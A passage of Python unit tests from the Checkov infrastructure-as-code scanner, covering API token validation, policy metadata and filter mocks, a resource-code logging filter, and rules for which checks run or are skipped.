base64.b64encode(bytes(string_to_encode, 'utf-8')) uuids[i] = uuids[i] + '::' + encoded.decode('utf-8') for u in uuids: self.assertTrue(BcPlatformIntegration.is_token_valid(u)) uuid_str = str(uuid.uuid4()) b64_str = base64.b64encode(bytes(self.get_random_string(), 'utf-8')).decode('utf-8') self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}{b64_str}')) self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}:{b64_str}')) self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}:::{b64_str}')) self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}::')) self.assertFalse(BcPlatformIntegration.is_token_valid(f'::{b64_str}')) self.assertFalse(BcPlatformIntegration.is_token_valid('')) self.assertFalse(BcPlatformIntegration.is_token_valid('1234::56789')) self.assertFalse(BcPlatformIntegration.is_token_valid(f'{uuid_str}::56789')) self.assertFalse(BcPlatformIntegration.is_token_valid(f'1234::{b64_str}')) def test_overriding_pc_api_url(self): instance = BcPlatformIntegration() instance.setup_bridgecrew_credentials( repo_id="bridgecrewio/checkov", prisma_api_url="https://api0.prismacloud.io", source=get_source_type('disabled') ) self.assertEqual(instance.api_url, "https://api0.prismacloud.io/bridgecrew") self.assertEqual(instance.prisma_api_url, "https://api0.prismacloud.io") def test_no_overriding_api_url(self): instance = BcPlatformIntegration() self.assertEqual(instance.api_url, "https://api0.prismacloud.io/bridgecrew") def test_skip_mapping_default(self): # Default is False so mapping is obtained instance = BcPlatformIntegration() instance.api_url = 'https://www.bridgecrew.cloud/v1' instance.setup_http_manager() instance.get_public_run_config() metadata_integration = PolicyMetadataIntegration(instance) metadata_integration.bc_integration = instance metadata_integration.pre_scan() self.assertIsNotNone(metadata_integration.check_metadata) self.assertGreater(len(metadata_integration.check_metadata), 0) def test_skip_mapping_true(self): instance = BcPlatformIntegration() instance.skip_download = True instance.setup_http_manager() instance.get_public_run_config() metadata_integration = PolicyMetadataIntegration(instance) metadata_integration.bc_integration = instance metadata_integration.pre_scan() self.assertIsNotNone(metadata_integration.check_metadata) self.assertDictEqual({}, metadata_integration.check_metadata) def test_metadata_bc_key(self): instance = BcPlatformIntegration() instance.bc_api_key = '00000000-0000-0000-0000-000000000000' instance.customer_run_config_response = mock_customer_run_config() metadata_integration = PolicyMetadataIntegration(instance) metadata_integration.bc_integration = instance metadata_integration.pre_scan() all_checks = BaseCheckRegistry.get_all_registered_checks() check_same_severity = next((check for check in all_checks if check.id == "CKV_AWS_15"), None) check_different_severity = next((check for check in all_checks if check.id == "CKV_AWS_40"), None) check_no_desc_title = next((check for check in all_checks if check.id == "CKV_AWS_53"), None) self.assertEqual(check_same_severity.name, 'Ensure IAM password policy requires at least one uppercase letter') self.assertEqual(check_same_severity.severity, Severities[BcSeverities.INFO]) self.assertEqual(check_different_severity.severity, Severities[BcSeverities.CRITICAL]) self.assertEqual(check_no_desc_title.severity, Severities[BcSeverities.MEDIUM]) def test_metadata_prisma_key(self): instance = BcPlatformIntegration() instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234==' instance.customer_run_config_response = mock_customer_run_config() metadata_integration = PolicyMetadataIntegration(instance) metadata_integration.bc_integration = instance metadata_integration.pre_scan() all_checks = BaseCheckRegistry.get_all_registered_checks() check_same_severity = next((check for check in all_checks if check.id == "CKV_AWS_15"), None) check_different_severity = next((check for check in all_checks if check.id == "CKV_AWS_40"), None) check_no_desc_title = next((check for check in all_checks if check.id == "CKV_AWS_53"), None) self.assertEqual(check_same_severity.name, 'AWS IAM password policy does not have an uppercase character') self.assertEqual(check_different_severity.name, 'AWS IAM policy attached to users') self.assertEqual(check_no_desc_title.name, 'Ensure S3 bucket has block public ACLS enabled') self.assertEqual(check_same_severity.severity, Severities[BcSeverities.INFO]) self.assertEqual(check_different_severity.severity, Severities[BcSeverities.HIGH]) self.assertEqual(check_no_desc_title.severity, None) def test_should_upload(self): self.assertFalse(get_source_type('vscode').upload_results) self.assertTrue(get_source_type('cli').upload_results) self.assertTrue(get_source_type('xyz').upload_results) self.assertTrue(get_source_type(None).upload_results) def test_run_config_url(self): instance = BcPlatformIntegration() instance.repo_id = 'owner/repo' instance.bc_api_key = '00000000-0000-0000-0000-000000000000' self.assertTrue(instance.get_run_config_url().endswith('/runConfiguration?module=bc&enforcementv2=true&repoId=owner/repo')) instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234==' self.assertTrue(instance.get_run_config_url().endswith('/runConfiguration?module=pc&enforcementv2=true&repoId=owner/repo')) instance.repo_id = 'encode/më' self.assertTrue(instance.get_run_config_url().endswith('/runConfiguration?module=pc&enforcementv2=true&repoId=encode/m%C3%AB')) def test_is_valid_policy_filter(self): instance = BcPlatformIntegration() instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234==' instance.customer_run_config_response = mock_customer_run_config() self.assertTrue(instance.is_valid_policy_filter(policy_filter=[('policy.label', 'CODE')], valid_filters=mock_prisma_policy_filter_response())) self.assertFalse(instance.is_valid_policy_filter(policy_filter=[('policy.labels', 'CODE')], valid_filters=mock_prisma_policy_filter_response())) self.assertFalse(instance.is_valid_policy_filter(policy_filter=[('policy.label', 'CODE'), ('not', 'allowed')], valid_filters=mock_prisma_policy_filter_response())) self.assertFalse(instance.is_valid_policy_filter(policy_filter=[], valid_filters=mock_prisma_policy_filter_response())) self.assertFalse(instance.is_valid_policy_filter(policy_filter=[('policy.label', 'A'), ('policy.label', 'B')], valid_filters={})) def test_add_static_policy_filters(self): self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([]), [('policy.enabled', 'true'), ('policy.subtype', 'build')]) self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.enabled', 'true')]), [('policy.enabled', 'true'), ('policy.subtype', 'build')]) self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.enabled', 'true'), ('policy.subtype', 'build')]), [('policy.enabled', 'true'), ('policy.subtype', 'build')]) self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.label', 'xyz')]), [('policy.label', 'xyz'), ('policy.enabled', 'true'), ('policy.subtype', 'build')]) self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.label', 'xyz'), ('policy.enabled', 'true')]), [('policy.label', 'xyz'), ('policy.enabled', 'true'), ('policy.subtype', 'build')]) self.assertListEqual(BcPlatformIntegration.add_static_policy_filters([('policy.enabled', 'true'), ('policy.label', 'xyz'), ('policy.subtype', 'build')]), [('policy.enabled', 'true'), ('policy.label', 'xyz'), ('policy.subtype', 'build')]) def test_setup_on_prem(self): instance = BcPlatformIntegration() instance.customer_run_config_response = None instance.setup_on_prem() self.assertFalse(instance.on_prem) instance.customer_run_config_response = {} instance.setup_on_prem() self.assertFalse(instance.on_prem) instance.customer_run_config_response = { 'tenantConfig': {} } instance.setup_on_prem() self.assertFalse(instance.on_prem) instance.customer_run_config_response = { 'tenantConfig': { 'preventCodeUploads': False } } instance.setup_on_prem() self.assertFalse(instance.on_prem) instance.customer_run_config_response = { 'tenantConfig': { 'preventCodeUploads': True } } instance.setup_on_prem() self.assertTrue(instance.on_prem) def mock_customer_run_config(): return { "policyMetadata": { "CKV_AWS_15": { "id": "BC_AWS_IAM_5", "title": "Ensure IAM password policy requires at least one uppercase letter", "guideline": "https://docs.bridgecrew.io/docs/iam_5", "severity": "INFO", "pcSeverity": "INFO", "category": "IAM", "checkovId": "CKV_AWS_15", "constructiveTitle": "Ensure AWS IAM password policy has an uppercase character", "descriptiveTitle": "AWS IAM password policy does not have an uppercase character", "pcPolicyId": "31626ca9-f659-4d25-9d88-fa32262bbba7", "additionalPcPolicyIds": [ "31626ca9-f659-4d25-9d88-fa32262bbba7" ], "benchmarks": {} }, "CKV_AWS_40": { "id": "BC_AWS_IAM_16", "title": "Ensure IAM policies are attached only to groups or roles", "guideline": "https://docs.bridgecrew.io/docs/iam_16-iam-policy-privileges-1", "severity": "CRITICAL", "pcSeverity": "HIGH", "category": "IAM", "checkovId": "CKV_AWS_40", "constructiveTitle": "Ensure IAM policies are only attached to Groups and Roles", "descriptiveTitle": "AWS IAM policy attached to users", "pcPolicyId": "2b7e07ba-56c8-42db-8db4-a4b65f5066c4", "additionalPcPolicyIds": [ "2b7e07ba-56c8-42db-8db4-a4b65f5066c4" ], "benchmarks": {} }, "CKV_AWS_53": { "id": "BC_AWS_S3_19", "title": "Ensure S3 bucket has block public ACLS enabled", "guideline": "https://docs.bridgecrew.io/docs/bc_aws_s3_19", "severity": "MEDIUM", "pcSeverity": None, "category": "Storage", "checkovId": "CKV_AWS_53", "constructiveTitle": "Ensure S3 bucket has block public ACLS enabled", "descriptiveTitle": None, "pcPolicyId": "34064d53-1fd1-42e6-b075-45dce495caca", "additionalPcPolicyIds": [ "34064d53-1fd1-42e6-b075-45dce495caca" ], "benchmarks": {} } } } def mock_prisma_policy_filter_response(): return { "policy.name": { "options": [ "CODE1: Ensure subnet is associated with NSG" ], "staticFilter": False }, "policy.type": { "options": [ "anomaly", "audit_event", "config", "data", "network" ], "staticFilter": True }, "policy.label": { "options": [ "CODE", "KARTIK", "CRITICAL" ], "staticFilter": False }, "policy.complianceStandard": { "options": [], "staticFilter": False }, "policy.complianceRequirement": { "options": [], "staticFilter": False }, "policy.complianceSection": { "options": [], "staticFilter": False }, "policy.category": { "options": [ "incident", "risk" ], "staticFilter": True }, "policy.class": { "options": [ "behavioral", "exposure", "network_protection", "privileged_activity_monitoring", "vulnerabilities" ], "staticFilter": True }, "policy.policyMode": { "options": [ "redlock_default", "custom" ], "staticFilter": True }, "policy.subtype": { "options": [ "audit", "build", "data_classification", "dns", "malware", "network", "network_config", "network_event", "run", "run_and_build", "ueba" ], "staticFilter": True }, "policy.enabled": { "options": [ "true", "false" ], "staticFilter": True }, "cloud.type": { "options": [ "alibaba_cloud", "aws", "azure", "gcp", "oci" ], "staticFilter": True }, "policy.severity": { "options": [ "high", "medium", "low" ], "staticFilter": True }, "policy.remediable": { "options": [ "true", "false" ], "staticFilter": True } } def mock_prisma_policies_response(): return [ { "policyId": "6960be11-e3a6-46cc-bf66-933c57c2af5d", "name": "AWS EBS volume region with encryption is disabled", "policyType": "config", "policySubTypes": [ "run", "build" ], "systemDefault": True, "policyUpi": "PC-AWS-EC2-778", "description": "This policy identifies AWS regions in which new EBS volumes are getting created without any encryption. Encrypting data at rest reduces unintentional exposure of data stored in EBS volumes. It is recommended to configure EBS volume at the regional level so that every new EBS volume created in that region will be enabled with encryption by using a provided encryption key.", "severity": "medium", "rule": { "name": "AWS EBS volume region with encryption is disabled", "criteria": "7a951e9f-02d2-4d9f-9441-29b545084585", "parameters": { "withIac": "true", "savedSearch": "true" }, "type": "Config", "children": [ { "criteria": "{\"category\":\"Kubernetes\",\"resourceTypes\":[\"aws_ebs_encryption_by_default\"]}", "type": "build", "metadata": { "checkovId": "CKV_AWS_106" }, "recommendation": "Refer the documentation for more details,\nhttps://docs.bridgecrew.io/docs/ensure-kubernetes-secrets-are-encrypted-using-customer-master-keys-cmks-managed-in-aws-kms" } ] }, "recommendation": "To enable encryption at region level by default, follow below URL:\nhttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default\n\nAdditional Information:\n\nTo detect existing EBS volumes that are not encrypted ; refer Saved Search:\nAWS EBS volumes are not encrypted_RL\n\nTo detect existing EBS volumes that are not encrypted with CMK, refer Saved Search:\nAWS EBS volume not encrypted using Customer Managed Key_RL", "cloudType": "aws", "complianceMetadata": [ { "standardId": "a0ea1077-424f-45fd-994e-4caef6d4d9de", "standardName": "AWS Foundational Security Best Practices standard", "standardDescription": "AWS Foundational Security Best Practices standard", "requirementId": "Protect", "requirementName": "Protect", "sectionId": "Data protection", "sectionDescription": "Data protection", "policyId": "6960be11-e3a6-46cc-bf66-933c57c2af5d", "complianceId": "2ab6eea3-660b-48c4-a836-53347e702faf", "sectionLabel": "Data protection", "sectionViewOrder": 5, "requirementViewOrder": 2, "systemDefault": True, "customAssigned": False } ], "labels": [ "CODE", "KARTIK" ], "enabled": True, "createdOn": 1634832351154, "createdBy": "Prisma Cloud System Admin", "lastModifiedOn": 1654106204620, "lastModifiedBy": "User", "ruleLastModifiedOn": 1639652340813, "deleted": False, "owner": "Prisma Cloud", "policyMode": "redlock_default", "policyCategory": "risk", "policyClass": "exposure", "remediable": False }, { "policyId": "c11ce08c-b93e-4e11-8d1c-e5a1339139d1", "name": "CUSTOM 3: Ensure subnet is associated with NSG", "policyType": "config", "policySubTypes": [ "build" ], "systemDefault": False, "description": "Every subnet should be associated with NSG for controlling access to \nresources within the subnet.\n", "severity": "high", "rule": { "name": "CUSTOM 3: Ensure subnet is associated with NSG", "parameters": { "withIac": "true", "savedSearch": "false" }, "type": "Config", "children": [ { "type": "build", "metadata": { "code": "metadata:\n name: 'CUSTOM 3: Ensure subnet is associated with NSG'\n guidelines: \"Every subnet should be associated with NSG for controlling access to\\\n \\ \\nresources within the subnet.\\n\"\n category: networking\n severity: high\nscope:\n provider: azure\ndefinition:\n and:\n - cond_type: connection\n resource_types:\n - azurerm_subnet_network_security_group_association\n connected_resource_types:\n - azurerm_subnet\n - azurerm_network_security_group\n operator: exists\n - cond_type: filter\n attribute: resource_type\n value:\n - azurerm_subnet\n operator: within\n" }, "recommendation": "" } ] }, "recommendation": "", "cloudType": "azure", "labels": [ "CODE", "KARTIK" ], "enabled": True, "createdOn": 1653999690681, "createdBy": "User", "lastModifiedOn": 1654065712108, "lastModifiedBy": "User", "ruleLastModifiedOn": 1653999690681, "deleted": False, "owner": "Tenant Name", "policyMode": "custom", "policyCategory": "risk", "policyClass": "exposure", "remediable": False }, { "policyId": "0e4c576e-c934-4af3-8592-a53920e71ffb", "name": "CUSTOM POLICY2: Ensure subnet is associated with NSG", "policyType": "config", "policySubTypes": [ "build" ], "systemDefault": False, "description": "Every subnet should be associated with NSG for controlling access to \nresources within the subnet.\n", "severity": "high", "rule": { "name": "CUSTOM POLICY2: Ensure subnet is associated with NSG", "parameters": { "withIac": "true", "savedSearch": "false" }, "type": "Config", "children": [ { "type": "build", "metadata": { "code": "metadata:\n name: 'CUSTOM POLICY2: Ensure subnet is associated with NSG'\n guidelines: \"Every subnet should be associated with NSG for controlling access to\\\n \\ \\nresources within the subnet.\\n\"\n category: networking\n severity: high\nscope:\n provider: azure\ndefinition:\n and:\n - cond_type: connection\n resource_types:\n - azurerm_subnet_network_security_group_association\n connected_resource_types:\n - azurerm_subnet\n - azurerm_network_security_group\n operator: exists\n - cond_type: filter\n attribute: resource_type\n value:\n - azurerm_subnet\n operator: within\n" }, "recommendation": "" } ] }, "recommendation": "", "cloudType": "azure", "labels": [ "CODE", "KARTIK" ], "enabled": True, "createdOn": 1653003961960, "createdBy": "User", "lastModifiedOn": 1653003961960, "lastModifiedBy": "User", "ruleLastModifiedOn": 1653003961960, "deleted": False, "owner": "Tenant Name", "policyMode": "custom", "policyCategory": "risk", "policyClass": "exposure", "remediable": False }, { "policyId": "e4080750-1b9a-4b7b-9acf-7057c61eaa9d", "name": "Check that all encrypted RDS clusters are tagged with encrypted: True", "policyType": "config", "policySubTypes": [ "build" ], "systemDefault": False, "description": "Check that all encrypted RDS clusters are tagged with encrypted: True", "severity": "high", "rule": { "name": "Check that all encrypted RDS clusters are tagged with encrypted: True", "parameters": { "withIac": "true", "savedSearch": "false" }, "type": "Config", "children": [ { "type": "build", "metadata": { "code": "---\nmetadata:\n name: \"Check that all encrypted RDS clusters are tagged with encrypted: True\"\n guidelines: \"Tags Governance - in case of the matched condition below -> add/modify a tag of encrypted:true\"\n category: \"secrets\"\n severity: \"high\"\nscope:\n provider: \"aws\"\ndefinition:\n and:\n - cond_type: \"attribute\"\n resource_types:\n - \"aws_rds_cluster\"\n attribute: \"tags.encrypted\"\n operator: \"equals\"\n value: \"true\"\n - or:\n - cond_type: \"attribute\"\n resource_types:\n - \"aws_rds_cluster\"\n attribute: \"kms_key_id\"\n operator: \"exists\"\n - cond_type: \"attribute\"\n resource_types:\n - \"aws_rds_cluster\"\n attribute: \"storage_encrypted\"\n operator: \"equals\"\n value: \"true\"" }, "recommendation": "" } ] }, "recommendation": "", "cloudType": "aws", "labels": [ "CODE", "KARTIK" ], "enabled": True, "createdOn": 1653999052972, "createdBy": "User", "lastModifiedOn": 1653999052972, "lastModifiedBy": "User", "ruleLastModifiedOn": 1653999052972, "deleted": False, "owner": "Tenant Name", "policyMode": "custom", "policyCategory": "risk", "policyClass": "exposure", "remediable": False } ] if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/test_resource_code_logger_filter.py ================================================ import logging from unittest import mock from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger TEST_CODE_TEMPLATES_TO_REPLACE = "THIS-SHOULD-BE-REPLACED!" def test_code_logger_filter_do_not_log_if_not_allowed(caplog) -> None: with mock.patch("checkov.common.resource_code_logger_filter.ResourceCodeFilter.CODE_TEMPLATES", [TEST_CODE_TEMPLATES_TO_REPLACE]): logger = logging.getLogger("code logging not allowed") add_resource_code_filter_to_logger(logger, allow_code_logging=False) logger.warning(TEST_CODE_TEMPLATES_TO_REPLACE) assert TEST_CODE_TEMPLATES_TO_REPLACE not in caplog.text def test_code_logger_filter_logs_if_allowed(caplog) -> None: with mock.patch("checkov.common.resource_code_logger_filter.ResourceCodeFilter.CODE_TEMPLATES", [TEST_CODE_TEMPLATES_TO_REPLACE]): logger = logging.getLogger("code logging allowed") add_resource_code_filter_to_logger(logger) logger.warning(TEST_CODE_TEMPLATES_TO_REPLACE) assert TEST_CODE_TEMPLATES_TO_REPLACE in caplog.text def test_code_logger_filter_logs_based_on_arg_not_allowed(caplog) -> None: with mock.patch("checkov.common.resource_code_logger_filter.ResourceCodeFilter.CODE_TEMPLATES", [TEST_CODE_TEMPLATES_TO_REPLACE]): logger = logging.getLogger("code logging not allowed") add_resource_code_filter_to_logger(logger, allow_code_logging=False) logger.warning(TEST_CODE_TEMPLATES_TO_REPLACE, extra={"mask": True}) assert TEST_CODE_TEMPLATES_TO_REPLACE not in caplog.text ================================================ FILE: tests/common/test_runner_filter.py ================================================ import os import unittest from collections import defaultdict from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryConfiguration from checkov.common.bridgecrew.severities import Severities, BcSeverities, Severity from checkov.common.sast.consts import SastLanguages from checkov.main import Checkov from checkov.runner_filter import RunnerFilter class TestRunnerFilter(unittest.TestCase): # Expected pseudo-code for when checks should run: # if has_check_flag_specified(): # checks_to_run = checks_specifically_included # else: # checks_to_run = all_built_in_checks # if has_checks_dir_specified(): # checks_to_run += checks_from_external_dir # for skipped_check in skip_check_flags(): # checks_to_run.remove(skipped_check) def test_should_run_default(self): instance = RunnerFilter() self.assertTrue(instance.should_run_check(check_id="CHECK_1")) def test_should_run_specific_enable(self): instance = RunnerFilter(checks=["CHECK_1"]) self.assertTrue(instance.should_run_check(check_id="CHECK_1")) def test_should_run_specific_enable_bc(self): instance = RunnerFilter(checks=["BC_CHECK_1"]) self.assertTrue(instance.should_run_check(check_id="CHECK_1", bc_check_id="BC_CHECK_1")) def test_should_run_wildcard_enable(self): instance = RunnerFilter(checks=["CHECK_*"]) self.assertTrue(instance.should_run_check(check_id="CHECK_1")) def test_should_run_wildcard_enable_bc(self): instance = RunnerFilter(checks=["BC_CHECK_*"]) self.assertTrue(instance.should_run_check(check_id="CHECK_1", bc_check_id="BC_CHECK_1")) def test_should_run_omitted_specific_enable(self): instance = RunnerFilter(checks=["CHECK_1"]) self.assertFalse(instance.should_run_check(check_id="CHECK_999")) def test_should_run_omitted_specific_enable_bc_id(self): instance = RunnerFilter(checks=["BC_CHECK_1"]) self.assertFalse(instance.should_run_check(check_id="CHECK_999", bc_check_id="BC_CHECK_999")) def test_should_run_specific_disable(self): instance = RunnerFilter(skip_checks=["CHECK_1"]) self.assertFalse(instance.should_run_check(check_id="CHECK_1")) def test_should_run_specific_disable_bc_id(self): instance = RunnerFilter(skip_checks=["BC_CHECK_1"]) self.assertFalse(instance.should_run_check(check_id="CHECK_1", bc_check_id="BC_CHECK_1")) def test_should_run_omitted_specific_disable(self): instance = RunnerFilter(skip_checks=["CHECK_1"]) self.assertTrue(instance.should_run_check(check_id="CHECK_999")) def test_should_run_omitted_specific_disable_bc_id(self): instance = RunnerFilter(skip_checks=["BC_CHECK_1"]) self.assertTrue(instance.should_run_check(check_id="CHECK_999", bc_check_id="BC_CHECK_999")) def test_should_run_external(self): instance = RunnerFilter(skip_checks=["CHECK_1"]) instance.notify_external_check("EXT_CHECK_999") self.assertTrue(instance.should_run_check(check_id="EXT_CHECK_999")) def test_should_run_external2(self): instance = RunnerFilter(checks=["CHECK_1"], skip_checks=["CHECK_2"]) instance.notify_external_check("EXT_CHECK_999") self.assertFalse(instance.should_run_check(check_id="EXT_CHECK_999")) def test_should_run_external3(self): instance = RunnerFilter(checks=["EXT_CHECK_999"]) instance.notify_external_check("EXT_CHECK_999") self.assertTrue(instance.should_run_check(check_id="EXT_CHECK_999")) def test_should_run_external4(self): instance = RunnerFilter(checks=["CHECK_1"], skip_checks=["CHECK_2"], all_external=True) instance.notify_external_check("EXT_CHECK_999") self.assertTrue(instance.should_run_check(check_id="EXT_CHECK_999")) def test_should_run_external_severity(self): instance = RunnerFilter(checks=["CHECK_1"], skip_checks=["CHECK_2", "HIGH"], all_external=True) instance.notify_external_check("EXT_CHECK_999") self.assertFalse(instance.should_run_check(check_id="EXT_CHECK_999", severity=Severities[BcSeverities.HIGH])) def test_should_run_external_disabled(self): instance = RunnerFilter(skip_checks=["CHECK_1", "EXT_CHECK_999"]) instance.notify_external_check("EXT_CHECK_999") self.assertFalse(instance.should_run_check(check_id="EXT_CHECK_999")) def test_should_run_external_disabled2(self): instance = RunnerFilter(skip_checks=["CHECK_1", "EXT_CHECK_999"], all_external=True) instance.notify_external_check("EXT_CHECK_999") self.assertFalse(instance.should_run_check(check_id="EXT_CHECK_999")) def test_should_run_specific_disable_AND_enable(self): instance = RunnerFilter(checks=["CHECK_1"], skip_checks=["CHECK_1"]) # prioritize disable - also this is not valid input and would be blocked in main.py self.assertFalse(instance.should_run_check(check_id="CHECK_1")) def test_should_run_omitted_wildcard(self): instance = RunnerFilter(skip_checks=["CHECK_AWS*"]) self.assertTrue(instance.should_run_check(check_id="CHECK_999")) def test_should_run_omitted_wildcard_bc_id(self): instance = RunnerFilter(skip_checks=["BC_CHECK_AWS*"]) self.assertTrue(instance.should_run_check(check_id="CHECK_999", bc_check_id="BC_CHECK_999")) def test_should_run_omitted_wildcard2(self): instance = RunnerFilter(skip_checks=["CHECK_AWS*"]) self.assertFalse(instance.should_run_check(check_id="CHECK_AWS_909")) def test_should_run_omitted_wildcard2_bc_id(self): instance = RunnerFilter(skip_checks=["BC_CHECK_AWS*"]) self.assertFalse(instance.should_run_check(check_id="CHECK_AWS_909", bc_check_id="BC_CHECK_AWS_909")) def test_should_run_omitted_wildcard3(self): instance = RunnerFilter(skip_checks=["CHECK_AWS*","CHECK_AZURE*"]) self.assertTrue(instance.should_run_check(check_id="EXT_CHECK_909")) def test_should_run_omitted_wildcard4(self): instance = RunnerFilter(skip_checks=["CHECK_AWS*","CHECK_AZURE_01"]) self.assertFalse(instance.should_run_check(check_id="CHECK_AZURE_01")) def test_should_run_severity1(self): instance = RunnerFilter(checks=["LOW"]) self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW])) def test_should_run_severity1_lowercase(self): instance = RunnerFilter(checks=["low"]) self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW])) def test_should_run_severity2(self): instance = RunnerFilter(skip_checks=["LOW"]) self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.HIGH])) def test_should_run_severity2_lowercase(self): instance = RunnerFilter(skip_checks=["low"]) self.assertTrue(instance.should_run_check(check_id='', severity=Severities[BcSeverities.HIGH])) def test_should_skip_severity1(self): instance = RunnerFilter(checks=["HIGH"]) self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW])) def test_should_skip_severity1_lowercase(self): instance = RunnerFilter(checks=["high"]) self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW])) def test_should_skip_severity2(self): instance = RunnerFilter(skip_checks=["LOW"]) self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW])) def test_should_skip_severity2_lowercase(self): instance = RunnerFilter(skip_checks=["low"]) self.assertFalse(instance.should_run_check(check_id='', severity=Severities[BcSeverities.LOW])) def test_should_run_check_id(self): instance = RunnerFilter(checks=['CKV_AWS_45']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check self.assertTrue(instance.should_run_check(check=check)) def test_should_run_check_id_omitted(self): instance = RunnerFilter(checks=['CKV_AWS_99']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check self.assertFalse(instance.should_run_check(check=check)) def test_should_run_check_bc_id(self): instance = RunnerFilter(checks=['BC_AWS_45']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.bc_id = 'BC_AWS_45' self.assertTrue(instance.should_run_check(check=check)) def test_should_run_check_bc_id_omitted(self): instance = RunnerFilter(checks=['BC_AWS_99']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.bc_id = 'BC_AWS_45' self.assertFalse(instance.should_run_check(check=check)) def test_should_skip_check_id(self): instance = RunnerFilter(skip_checks=['CKV_AWS_45']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check self.assertFalse(instance.should_run_check(check=check)) def test_should_skip_check_id_omitted(self): instance = RunnerFilter(skip_checks=['CKV_AWS_99']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check self.assertTrue(instance.should_run_check(check=check)) def test_should_skip_check_bc_id(self): instance = RunnerFilter(skip_checks=['BC_AWS_45']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.bc_id = 'BC_AWS_45' self.assertFalse(instance.should_run_check(check=check)) def test_should_skip_check_bc_id_omitted(self): instance = RunnerFilter(skip_checks=['BC_AWS_99']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.bc_id = 'BC_AWS_45' self.assertTrue(instance.should_run_check(check=check)) def test_should_run_check_severity(self): instance = RunnerFilter(checks=['LOW']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.severity = Severities[BcSeverities.LOW] self.assertTrue(instance.should_run_check(check=check)) def test_should_run_check_severity_omitted(self): instance = RunnerFilter(checks=['HIGH']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.severity = Severities[BcSeverities.LOW] self.assertFalse(instance.should_run_check(check=check)) def test_should_run_check_severity_implicit(self): instance = RunnerFilter(checks=['LOW']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.severity = Severities[BcSeverities.HIGH] self.assertTrue(instance.should_run_check(check=check)) def test_should_skip_check_severity(self): instance = RunnerFilter(skip_checks=['LOW']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.severity = Severities[BcSeverities.LOW] self.assertFalse(instance.should_run_check(check=check)) def test_should_skip_check_severity_implicit(self): instance = RunnerFilter(skip_checks=['HIGH']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.severity = Severities[BcSeverities.LOW] self.assertFalse(instance.should_run_check(check=check)) def test_should_skip_check_severity_threshold_exceeded(self): instance = RunnerFilter(skip_checks=['LOW']) from checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check check.severity = Severities[BcSeverities.HIGH] self.assertTrue(instance.should_run_check(check=check)) def test_check_severity_split_no_sev(self): instance = RunnerFilter(checks=['XYZ']) self.assertIsNone(instance.check_threshold) self.assertEqual(instance.checks, ['XYZ']) def test_check_severity_split_skip_no_sev(self): instance = RunnerFilter(skip_checks=['XYZ']) self.assertIsNone(instance.skip_check_threshold) self.assertEqual(instance.skip_checks, ['XYZ']) def test_check_severity_split_one_sev(self): instance = RunnerFilter(checks=['MEDIUM']) self.assertEqual(instance.check_threshold, Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.checks, []) def test_check_severity_split_two_sev(self): instance = RunnerFilter(checks=['MEDIUM', 'LOW']) # should take the lowest severity self.assertEqual(instance.check_threshold, Severities[BcSeverities.LOW]) self.assertEqual(instance.checks, []) def test_check_severity_split_two_sev_lowercase(self): instance = RunnerFilter(checks=['MEDIUM', 'low']) # should take the lowest severity self.assertEqual(instance.check_threshold, Severities[BcSeverities.LOW]) self.assertEqual(instance.checks, []) def test_check_severity_split_skip_one_sev(self): instance = RunnerFilter(skip_checks=['MEDIUM']) self.assertEqual(instance.skip_check_threshold, Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.skip_checks, []) def test_check_severity_split_skip_two_sev(self): instance = RunnerFilter(skip_checks=['LOW', 'MEDIUM']) # should take the highest severity self.assertEqual(instance.skip_check_threshold, Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.skip_checks, []) def test_check_severity_split_skip_two_sev_lowercase(self): instance = RunnerFilter(skip_checks=['LOW', 'medium']) # should take the highest severity self.assertEqual(instance.skip_check_threshold, Severities[BcSeverities.MEDIUM]) self.assertEqual(instance.skip_checks, []) def test_run_sev_id_1(self): instance = RunnerFilter(checks=['HIGH'], skip_checks=['CKV_AWS_123']) # run all high and above, but skip this one ID regardless of severity self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH])) self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.CRITICAL])) self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', 